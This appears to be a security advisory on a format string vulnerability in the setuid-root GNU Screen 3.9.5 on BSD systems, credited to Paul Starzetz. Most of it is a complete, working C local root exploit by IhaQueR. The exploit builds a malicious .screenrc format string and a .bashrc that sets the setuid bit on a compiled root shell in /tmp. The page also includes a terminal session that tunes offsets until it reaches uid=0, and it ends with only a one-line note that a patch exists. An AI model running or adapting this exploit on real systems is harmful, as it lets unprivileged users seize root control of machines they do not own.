|
Vulnerability screen Affected BSDish Description Paul Starzetz found following. He found a way to exploit format string vulnerable applications, which are suid root (like screen) on BSD-like systems. The mentioned problems arise form the low virtual memory address (VMA) we want write to. As far as there is no way to construct a string containing more 0x0's in standard C, we can profit from a feature (bug?) in the passing of environment variables by execve function. execve() will pass empty env strings (pointers to zeros, _not_ NULL pointers) AS IS, so passing e.g. environ[a] = empty, environ[a] = empty will lead to two 0x0#s pushed somewhere onto the stack... With this feature we can construct an array of arbitrary data on the bottom of the called programm's stack. If this array can be reached from a fmt-vulnerable function, we can write to ANY VMA address including also the .data section of a BSD process. So we could now utilize that and write a new exploit for screen which is our example here, but there is still another problem. Screen would lock up after we simply write to (&real_uid - 2) because we write to a part of another variable too, in this case struct display* display, which leads to a complete crash. A look at the debugger output shows that the following variable may be overwritten without consequences, it seems to be less important flag variable (sample offsets): 00055888 display 0005588c real_uid 00055890 adaptflag 00055894 rflag Depending on the version you may not be able to overwrite real_uid wihtout crash.... So the technique we need is to construct the 0x0 at &real_uid by increasing the write address successively by 1, writting to lsb first. This leads to following exploit: a.out USAGE a.out <write offset> <bufferoffset> <byteadj> <padding> bash-2.04$ id uid=1000(kurak) gid=10(users) groups=10(users) First we need a bufferoffset at which screen wouldn't crash after <ctrl-g> at _only_ one padding = {0,1,2,3}. The pair 10 0 would do the job here: bash-2.04$ a.out 0 10 0 0 Screen 3.9.5 local r00t exploit by IhaQueR@IRCNET creating magic string building /tmp/.home/.screenrc creating /tmp/.home/.bashrc compiling suid shell press enter to start screen, then hit enter again, ctrl-g, ctrl-c for suid shell at /tmp/sush and root uid Screen version 3.09.05 (FAU) 1-Sep-99 ... chown: /tmp/sush: Operation not permitted chmod: /tmp/sush: Operation not permitted kurak@ExploitMe> <ctrl-g> STATUS shows: 7m5e-309-2e+1530-2e+1531e-30934-2e+1535e-3092e-3232e-3097e-309-2e+153-2e+1534e-309 <ctrl-c> chown: /tmp/sush: Operation not permitted chmod: /tmp/sush: Operation not permitted I have no name!@ExploitMe>id uid=318941 gid=10(users) groups=10(users) ... [screen is terminating] Now the uid is 318941, hex 0x0004dddd, which means we have the write sequence 2, 3, 0, 1. So the padding must be increased by 8 again: bash-2.04$ a.out 0 10 0 8 ... I have no name!@ExploitMe>id uid=3705461980 gid=10(users) groups=10(users) ... [screen is terminating] Now uid is 3705461980, hex 0xdcdcdcdc, so now we need to increase the byteadj by 256-0xdc = 36: bash-2.04$ a.out 0 10 36 8 ... uid=0(root) gid=10(users) groups=10(users) root@ExploitMe>ls -l /tmp total 70 -r--r--r-- 1 root wheel 11 Sep 7 13:07 .X0-lock drwxrwxrwt 2 root wheel 512 Sep 7 13:07 .X11-unix drwxr-xr-x 2 kurak wheel 512 Sep 9 19:52 .home drwxr-xr-x 3 root wheel 512 Sep 7 13:51 screens -rw-r--r-- 1 kurak wheel 3970 Sep 9 03:55 stackdmp -rwsr-xr-x 1 root wheel 25564 Sep 9 20:16 sush ... Boah, now we have uid=0 and a suid shell at /tmp/sush. Note, with this technique you may bypass even an non-exec stack, because we aren't executing anything. With the 'byte by byte' writing technique combined with the execve 'feature' one may write to even low VMA any data he want (assuming the application is vulnerable of course). Imagine a suid app, which never starts a shell nor uses setuid(), but calls e.g. /bin/mail to report you are trying to abuse it... You may change the string "/bin/mail" for example to "/tmp/r00t".... explbsd395.c was tested again OpenBSD 2.8-beta (broken): /**************************************************************** * * * Screen 3.9.5 BSD local exploit * * by IhaQueR at IRCNET * * !only for demonstrative purposes! * * * ****************************************************************/ #include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/utsname.h> #include <pwd.h> #include <stdlib.h> #include <errno.h> extern char **environ; char* home = "/tmp/.home"; char* ev1 = "PS1=\\u@ExploitMe>"; #define SCREEN "/usr/local/bin/screen-3.9.5" #define SHELL "/bin/sh" #define SCREENRC ".screenrc" #define BASHRC ".bashrc" /* offset to the env seen from Msg() */ #define BUFOFFSET 2682 /* addr to be written (may vary)*/ #define WRITEADDR 0x3c1e4 /* some addresses grabbed from 3.9.5 OpenBSD: &real_uid, &real_gid, &eff_uid, &eff_gid 0x3c1e4 0x3c224 0x3b1b0 0x3b1a4 for finding addresses see expl.c, it may be hard... */ /* repeat the addr table in environ */ #define ENVREP 32 /* but write only once */ #define WREP 1 char* env[ENVREP*4 + 256]; #define TMPBUFSIZE (BUFOFFSET+1024) int main(int argc, char** argv) { int i, off=0; int writeoffs=0, bufoffset=0, padding=0, bfoff=0, byteadj=0; int ep=0, b=0, ob=0; unsigned vv[ENVREP+2]; unsigned char* pp; FILE* fp; char buf[TMPBUFSIZE]; unsigned char myhome[TMPBUFSIZE]; char screenrc[TMPBUFSIZE]; char bashrc[TMPBUFSIZE]; char pad[TMPBUFSIZE]; char buf2[TMPBUFSIZE]; if(argc != 5) { printf("USAGE %s <write offset> <bufferoffset> <byteadj> <padding>\n", argv[0]); return 0; } else { printf("Screen 3.9.5 local r00t exploit\n"); printf("by IhaQueR@IRCNET\n\n"); } /* user supplied offsets */ writeoffs = atoi(argv[1]); bfoff = atoi(argv[2]); byteadj = atoi(argv[3]); padding = atoi(argv[4]); /* create env */ for(i=0; i<ENVREP; i++) vv[i] = WRITEADDR + writeoffs + i%4; vv[ENVREP] = 0; pp = (unsigned char*) vv; b = 0; ob = b; sprintf(myhome, "HOME=%s", home); putenv(myhome); putenv(ev1); while(environ[ep]){ env[ep] = environ[ep]; ep++; } /* pad */ sprintf(pad, "%s", "PPPP"); for(i=0; i<padding; i++) strcat(pad, "Q"); env[ep++]=pad; while(b<ENVREP*4) { if(pp[b] == 0) { env[ep] = pp + ob; ob = b+1; ep++; } b++; } if(*(pp+ob)) env[ep++] = pp + ob; env[ep++] = NULL; /* create vbell string */ printf("creating magic string\n"); bzero(buf, TMPBUFSIZE); bufoffset = BUFOFFSET + bfoff*sizeof(double); /* consume stack arguments */ for(i=0; i<bufoffset/sizeof(double)+1; i++) strcat(buf, "%.g"); /* finally write to adress */ sprintf(buf2, "%%dx%%n%%n%%n%%n", byteadj+16); for(i=0;i<WREP; i++) strcat(buf, buf2); /* create homedir */ if(mkdir((char*)(home), 0xfff)) if(errno != EEXIST) { printf("\nERROR: mkdir()"); return 2; } /* strings for .screenrc and .bashrc */ strcpy(screenrc, home); strcat(screenrc, "/"); strcat(screenrc, SCREENRC); strcpy(bashrc, home); strcat(bashrc, "/"); strcat(bashrc, BASHRC); /* create screenrc */ printf("building %s\n", screenrc); if(fp = fopen(screenrc, "w")) { fprintf(fp, "vbell on\n"); fprintf(fp, "vbell_msg '%s'\n", buf); fprintf(fp, "vbellwait 3600\n"); fclose(fp); } else { printf("ERROR: opening %s\n", screenrc); return 1; } /* create bashrc */ printf("creating %s\n", bashrc); snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root /tmp/sush; chmod 4755 /tmp/sush'", bashrc); system(buf); /* create suid shell */ printf("compiling suid shell\n"); snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char** av){setuid(0); setgid(0); execv(\"%s\", av);}'", SHELL); system(buf); system("gcc /tmp/sush.c -o /tmp/sush"); /* set env and call screen */ argv[1] = NULL; printf("press enter to start screen, then hit enter again, ctrl-g, ctrl-c for suid shell at /tmp/sush and root uid"); getchar(); execve(SCREEN, argv, env); } Solution Patch is available.